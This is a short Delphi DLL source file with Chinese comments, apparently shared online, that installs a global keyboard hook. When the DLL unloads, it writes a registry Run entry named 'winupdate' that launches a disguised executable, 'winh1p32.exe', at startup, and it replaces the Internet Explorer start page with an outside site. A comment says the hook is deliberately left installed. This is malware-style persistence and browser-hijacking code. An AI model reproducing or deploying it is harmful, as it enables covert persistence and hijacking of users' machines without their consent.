library sysinfo;

uses
windows;

const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'MEM_FILE';
type
TShared = record
KeyHook:HHook;
Moudle :THandle;
end;
PShared = ^TShared;
var
MemFile: THandle;
Shared: PShared;

{撤消钩子过滤函数}
function UninstallHook: Boolean;
begin
Freelibrary(Shared^.Moudle);
Result := UnHookWindowsHookEx(Shared^.KeyHook);
UnmapViewOfFile(Shared);
CloseHandle(memFile);
end;

function KeyHookProc(iCode: Integer; wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
const
KeyPressMask = $80000000;
begin
if iCode < 0 then
Result := CallNextHookEx(Shared^.KeyHook,
iCode,
wParam,
lParam)
else begin
if ((lParam and KeyPressMask) = 0) and (GetKeyState(vk_Control) < 0) and (
wparam = Ord('F'))
then
begin
Windows.MessageBox(0,'........钩子已消除!..........','hello!',MB_ICONEXC
LAMATION);
UninstallHook;
end;
//result:=0;
Result := CallNextHookEx(Shared^.KeyHook,iCode,wParam,lParam);
end;
end;

function InstallHook:Boolean;
begin
Shared^.Moudle:=GetModuleHandle(PChar('sysinfo'));
Shared^.KeyHook := SetWindowsHookEx(WH_KEYBOARD,
@KeyHookProc,
Shared^.Moudle,
0);
if Shared^.KeyHook = 0 then
begin
Result := False;
Exit;
end;
Result := true;
end;

// 以下为写注册表部分,在下定义了一个函数
procedure writeregedit(cCustomLog,var1,var2:pchar);
var
size: integer;
s: string;
TempKey: HKEY;
fDisposition: pointer;
begin
fDisposition := nil;
if RegCreateKeyEx(HKEY_LOCAL_MACHINE,
cCustomLog,
0,
nil,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
nil,
TempKey,
fDisposition)= ERROR_SUCCESS
then begin
RegSetValueEx (TempKey,
var1,
0,
REG_SZ,
var2,
length(var2));

end;
RegCloseKey(TempKey);
end;

procedure DllEntry(dwReason : integer);
begin
case dwReason Of

// DLL导入进程时
DLL_PROCESS_ATTACH:
begin
MemFile := OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);
if MemFile = 0 then
MemFile := CreateFileMapping($FFFFFFFF,nil,
PAGE_READWRITE,
0,
SizeOf(TShared),
HOOK_MEM_FILENAME);
Shared := MapViewOfFile(MemFile,
File_MAP_WRITE,
0,
0,
0);
// 加载钩子
InstallHook;
end;
DLL_PROCESS_DETACH:
begin
writeregedit('SOFTWARE\Microsoft\Windows\CurrentVersion\Run','winupdat
e','c:\windows\winh1p32.exe');
writeregedit('SOFTWARE\Microsoft\internet explorer\main','start page',
'http://www.iou.com');

// 我不想此时卸载钩子
// UninstallHook;
end;
else;
end;
end;

exports
InstallHook;

begin
DllProc := @DllEntry;
DllEntry(DLL_PROCESS_ATTACH);
end.

晕了:

今天有点累,注解未完之处以后补上吧.附:网站快要申请了,到时贴上所有源码^_^